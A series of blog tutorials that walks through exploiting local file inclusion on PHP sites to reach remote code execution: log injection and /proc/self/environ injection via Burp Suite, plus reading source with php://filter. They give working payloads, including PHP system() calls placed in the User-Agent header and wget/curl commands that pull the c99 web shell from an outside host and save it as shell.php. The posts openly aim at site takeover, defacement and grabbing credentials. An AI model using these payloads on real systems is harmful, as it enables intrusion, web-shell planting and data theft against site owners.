Using CURL to exploit LFI to RCE from command line

I was having fun with curl and decided to make a short video to show how it can be used for all sort of things. It is extremely versatile command line utility, and if you are a command line junkie then this is a must have tool for you (works on all systems). In video I show how you can make basic connections, store output/responses, how to quickly search a file in Winblows for content, and finally how to exploit an LFI vulnerability from the command line with cURL. These methods can easily be adapted to perform SQL Injections, RFI, XSS, etc. For more details on cURL I highly suggest spending some time reading through their docs and tutorials on the homepage, which can be found here: http://curl.haxx.se/

If you're interested to learn more about LFI then please check my previous articles which covered the /proc/self/envron method as well as the LOG File Injection method. Hope you enjoyed this brief video tutorial. Until next year, Enjoy!

BURP SUITE - PART IV: LFI EXPLOIT via LOG INJECTION

OK so today I will extend our Burp Suite & LFI series to now cover how we can use the Burp Suite tools to exploit LFI vulnerability through LOG INJECTION technique. It will follow a very similar process to my previous tutorial on exploiting via /proc/self/environ but we will be working with different files. Here goes…

PREREQUISITES:

·         LFI Vulnerable Site

·         Burp Suite Tool: http://portswigger.net/burp/download.html

o   HR’s Burp Suite Pack - Part II (Now Updated) 

·         Working knowledge of Burp Suite tools and LFI vulnerabilities. If you need some refreshers you can check my previous Burp tutorials or use our old fried Google:

o   Burp Part I – General Intro via SQL Injection: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-i-intro-via-sql.html

o   Burp Part II – SQL Auth Bypass Technique: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-ii-sql-authentication.html

o   Burp Part III – LFI Exploitation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/burp-suite-part-iii-lfi-exploitation.html

o   Manual LFI EXploiation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/exploiting-lfi-vulnerabilities-via.html

o   LFI Trick to read source code using php://filters: http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html

·         A brain J

We start off by noticing our site has a link which is pointing to a file on ther server. We do a quick check as outlined in previous tutorials for the /etc/passwd file as well as /proc/self/environ. We find we have access to the /etc/passwd file but we don’t have access to /proc/self/environ (or it just isn’t proper access to load a shell as shown in previous write up). I will now show you how we can try another method to see if we can load a shell on the remote site via LFI technique known as LOG INJECTION. Essentially we will enumerate possible files on the remote server in hopes of finding log files which we can then use to manipulate and inject our code on. When the log files are called using our LFI vuln the injected code will be executed. In the end we will exploit this to load a shell on the site. Here is the walk through of how it should be done, I will start with our initial find and work from there…

We found LFI and can access a few files, I will start with /etc/passwd:
EXAMPLE: http://www.site.com/showfile.php?FILE=/etc/passwd

From here we will use Burp Suite to quickly enumerate all possible files we might be able to access. If you download HR’s Burp Pack Part II then you can use the /LFI/LFI-LogFileCheck.txt as your payload with the INTRUDER tool, and then we load the /Grep/lfi.txt file for our grep options which will help us in locating not only /etc/passwd files but also log files (in the updated download). If you want to search for all possible juicy files on the system you could run the /LFI/LFI-InterestingFiles.txt as the payload instead which will check for pretty much everything. Here the quick steps to setup properly for log file check:

Stage the request by sending it to the INTRUDER tab:

Prep your positioning for payload and attack:

 Once positions are set we need to select our payload. If you use my download then you can use the /LFI/LFI-LogFileCheck.txt as your payload to run a check specifically for log files. If you prefer to run a broader check for pretty much all files then you might try using the /LFI/LFI-InterestingFiles.txt as payload option instead, you can edit any of the files to your hearts content to customize further.

Select Payload for runtime file:

Set grep settings to aid in picking up success and failure:

Run the INTRUDER tool...

When we run the INTRUDER tool we will look for the results on our grep as well as the size of the returned requests. We do this as the grep file has a ton of useful items in which commonly show up in /etc files as well as log files (based on my experience). Additionally the size of the returned request will often times be the quickest indicator we have found a log file, as they will almost always be expontentially larger than the other requests in size based on the content included.

NOTE: In some cases the log file may be present but unreachable due to memory allocation restrictions on the remote server, not much to do about this.

If successful you will end up with something similar to one of these:
EXAMPLE ACCESS LOGS: http://www/site.com/showfile.php?FILE=/var/log/httpd/access_log

Once you have found the log files on the server you will need to review them for a few crucial elements which may or may not play a role in your being successful pulling this technique off:

·         How up to date are the log files?

·         What information seems to be included in the log files?

o   Can we see referrer details in the log info?

o   Can we see user-agent details in the log info?

o   If you view source does the most current log record appear to be junked up by any open ended html tags?

o   Any signs of other injection attacks by previous hackers?

All of this information helps us to build our attack. If you are lucky you will have logs which are fully up to date and clean, which makes things much easier. If the logs are delayed then you may actually have to wait for the code injections to actually take place and results become visible (continue checking back). If there are HTML tags caused by log records then you may have to get creative and find a way to close them out with your own injection into the logs to do so. You will want to do this before you start trying to inject code, as otherwise it will be ignored and read as HTML (hint you can also occasionally see XSS injections executed this way in admin log files when they go to review – bam alert…or worse cookie theft!) In order to start we send our request to the repeater to allow us to test first to see if we can inject a request to phpinfo(). We will inject our PHP code via the User-Agent field for this tutorial, but in some instances you may need to try injecting your code via the Referrer field or even the cookie (again this will be better determined by the results of those simple questions above, use some logic to make a decision). Either way it flows like this:

REQUEST TO KNOWN FILE WITH PHP COMMAND INJECTED INTO USER-AGENT FIELD (I use the access log itself here since we found it already and we are also using it to read results so its win-win):

NOTE: for this example I had up to date logs and had better results returning request fields via the access log as opposed to the error log, again you have to interpret the page results and make an informed decision (trial and error helps too). If successful you will see the phpinfo() returned in the log file, like so:

If this works, we continue to check for further code injection. I like to test the ID and UNAME before I go for the kill shot. We continue to use Burp Suite and REPEATER tool at this point to continue altering our request. We now alter the request slightly and resend:

CHANGE:

User-Agent: <?php phpinfo(); ?>

TO:
User-Agent: <?system('uname -a');?>

This is fantastic! We can read the results of the command injection right from the log file itself. This can be seen either from the Burp Suite console itself or you can navigate to it in your browser after injecting to see it for yourself (or if you are doing this manually just use Browser and Add-ons to change referrer or user-agent fields with code and search page for results). 

OK, now I like to do a quick check of what is going on behind the scenes as well as test a few more commands so I typically will issue “ls- lua” command and review the results, the process will work the same for pretty much any commands you issue but here is some sample results to show you how clear the results come back:

NOTE: the above can also help if you have problems writing to a certain location in the next step…

OK so we can inject commands, now we will go for the kill and see if we can successfully inject command to reach out to a remote location to download a shell and then rename it on the site so we can access for further site compromise. You can use CURL or WGET to accomplish this task, if you need reference syntax check their site or my previous tutorial on /proc/self/environ method. Here is an example of what the CURL method looks like (WGET was not working in this case):

As you can see we don’t have any real visual guidance that it has been successful or not, so you need to check the new file manually. If you can’t find it easily you can always try calling it via the original LFI vulnerable link (i.e. http://www.site.com/showfile.php?FILE=shell.php). You can also use the Spider feature in Burp Suite to quickly assess the sites infrastructure in effort to find your shell. Simply click on Target tab within Burp and then right click www.yoursite.com and chose the “spider host from here” option:

NOTE: you can alter the settings for this approach on the scope tab as well as the spider tabs

This is especially helpful for finding shells with authentication requirements as well as general admin pages as you will get a prompt for any authentication pages as it requests you provide details or choose to ignore, thus giving away its location (it’s one of my secret ninja tricks)….Then you simply go to your shell:

w00t - you have successfully injected a shell through LFI LOG INJECTION technique! I hope you have found this write-up informative, insightful and educational. You now have web-shell with control over the site which can allow you to further escalate privileges, deface index, etc - pretty much game over at this point! I think this wraps up my coverage of LFI vulnerabilities and exploits, but I will continue to pursue further scenarios where Burp Suite can be used in the future so stay tuned and check back oftent to see what else I put out there. If you have suggestions, comments, and/or questions do let me know by leaving a comment or sending me a message. As always and until next time, Enjoy!

VIDEO!

LFI TIP: HOW TO READ SOURCE CODE USING PHP://FILTER

OK so you wont be able to shell a site everytime you find a LFI vulnerability. That being said doesn’t mean we still cant work on a few other methods and still manage to walk away with some valuable information. Today I will show you briefly another method which can be leveraged when you find an LFI vulnerability to get that job done through the use of php:// filters…

OK so you have found your LFI link but cant get access to logs or conditions aren’t right for gaining shell access:

OK, well before you give up and go report the site is only mildly vulnerable we will test further to see if we can read any of the target servers files. We will use a method to view the source of any PHP file through the use of the PHP filter wrapper function “php://filter/convert.base64_encode/resource=” which has been available since PHP 5.0.0. The syntax to use works like this:

SYNTAX:

http://www.site.com/vulnpage.php?page=php://filter/convert.base64-encode/resource=FileNameToRead

I should note that in most cases include function will append the “.php” to your FileNameToRead BUT in some cases you may need to define this in your injection by also including the file ending (.php). Through this method it forces PHP to base64 encode the target file before excecuting and then returning that encoding to us. We can then simply decode the results after this with our favorite tool and obtain the source code of the PHP files on the target site.

RETURNED RESULT:

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRtbD4KPGhlYWQ+CiAgPHRpdGxlPk15IEZpcnN0IFRlc3QgU2l0ZTwvdGl0bGU+CiAgPE1FVEEgSFRUUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20vaW5kZXgucGhwIj4KPC9oZWFkPgo8Ym9keT4KPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIElmIHlvdSBhcmUgbm90IHJlZGlyZWN0ZWQgcGxlYXNlIGNsaWNrIDxhIGhyZWY9IiBodHRwOi8vdGVzdHNpdGUuY29tL2luZGV4LnBocCAiPmhlcmU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+

If we base64 decode the results, we see the actual source code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

  <title>My First Test Site</title>

  <META HTTP-EQUIV="Refresh" CONTENT="1; URL=http://testsite.com/index.php">

</head>

<body>

<div align="center">

    If you are not redirected please click <a href=" http://testsite.com/index.php ">here</a>.

</div>

</body>

</html>

You can now go through source code to review for further code exploits, SQL injections, or enumerate for configuration files and try to grab juicy connection credentials. The options are up to you, but thought I would add this to the LFI series since I have not seen it discussed very much. Hope you were able to follow along and until next time…Enjoy!

EXPLOITING LFI VULNERABILITIES via /PROC/SELF/ENVIRON

I previously covered how to exploit LFI vulnerabilities with FIMAP but have received some questions from folks due to FIMAP not always picking the injection points up. Automated tools are nice but if you don’t know how to do it manually then you can miss a lot of possible vulnerabilities and opportunities you can leverage to exploit your target (plus its good to know what goes on behind the scenes). Today I am going to show you how to perform LFI exploitation through the /proc/self/environ method. Here goes…

OK, so first we walk through our site and we notice a link which seems to be referencing another document on the server. This is a good place to start investigating potential LFI vulnerabilities.

http://www.site.com/index.php

We click on "Contact Us">>leads us to...

http://www.site.com/index.php?page=contact.php&title=ContactUs

NOTE: page= appears to reference to another document on server (in this case contacts.php)

Let us see what happens if we replace the standard link with some arbitrary data:

              http://www.site.com/index.php?page=1

Now let us try to reference a real document which we know to be on all unix machines, /etc/passwd:

Voila! We can read the /etc/passwd file through LFI! This is good, but now we need to check to see if /proc/self/environ is accessible. If it is we can leverage it to get a shell on the target site. If it is not then we will need to further investigate which files we can access and then see if we can inject into any of them. I will only be focusing on the /proc/self/environ method for now, but may write another follow up in future to cover some of the other methods which can be used for LFI takeover. OK, so now we check for existance of /proc/self/environ:

NOTE the “DOCUMENT_ROOT=[VALUE]” on the returned page. This is the key indicator that we have access to the /proc/self/environ which we can now leverage to put a shell on the target site. We will accomplish this by injecting our PHP code into the User Agent field when we request this file again. Due to the way this is processed it will inject our code and then we can use to further escalate priveleges. We will now inject this code into our page request for /proc/self/environ and refresh the page.

Inject PHP code in UA field, like one of these:

We can now read the results of any of the commands we pass through in the User-Agent field, it will look similar to this:

ID: <?system('id');?>

UNAME: <?system('uname -a');?>

UPLOAD SHELL WITH WGET: <?system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>

OR

UPLOAD SHELL WITH CURL: <?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?>

NOTE: to inject the code into the User-Agent field you will need a add-on for your browser such as Live HTTP Headers, Tamper Data, or Burp Suite.

Once our code is injected we simply navigate to the webshell we just uploaded, should be located in site.com/shell.php unless you instructed it to go elsewhere when you used your WGET or CURL command for shell download. If your lucky when you go to your shell you will be greeted with something similar to this:

Now that you have a shell on the site you are fairly free to do what you want. I hope you have enjoyed another brief tutorial on LFI. I will try to work on follow up articles covering Log Injection methd and one or two more methods that can be used when the conditions are right. Until next time, enjoy!

AUTOMATED LFI/RFI SCANNING & EXPLOITING WITH FIMAP

This summary is not available. Please click here to view the post.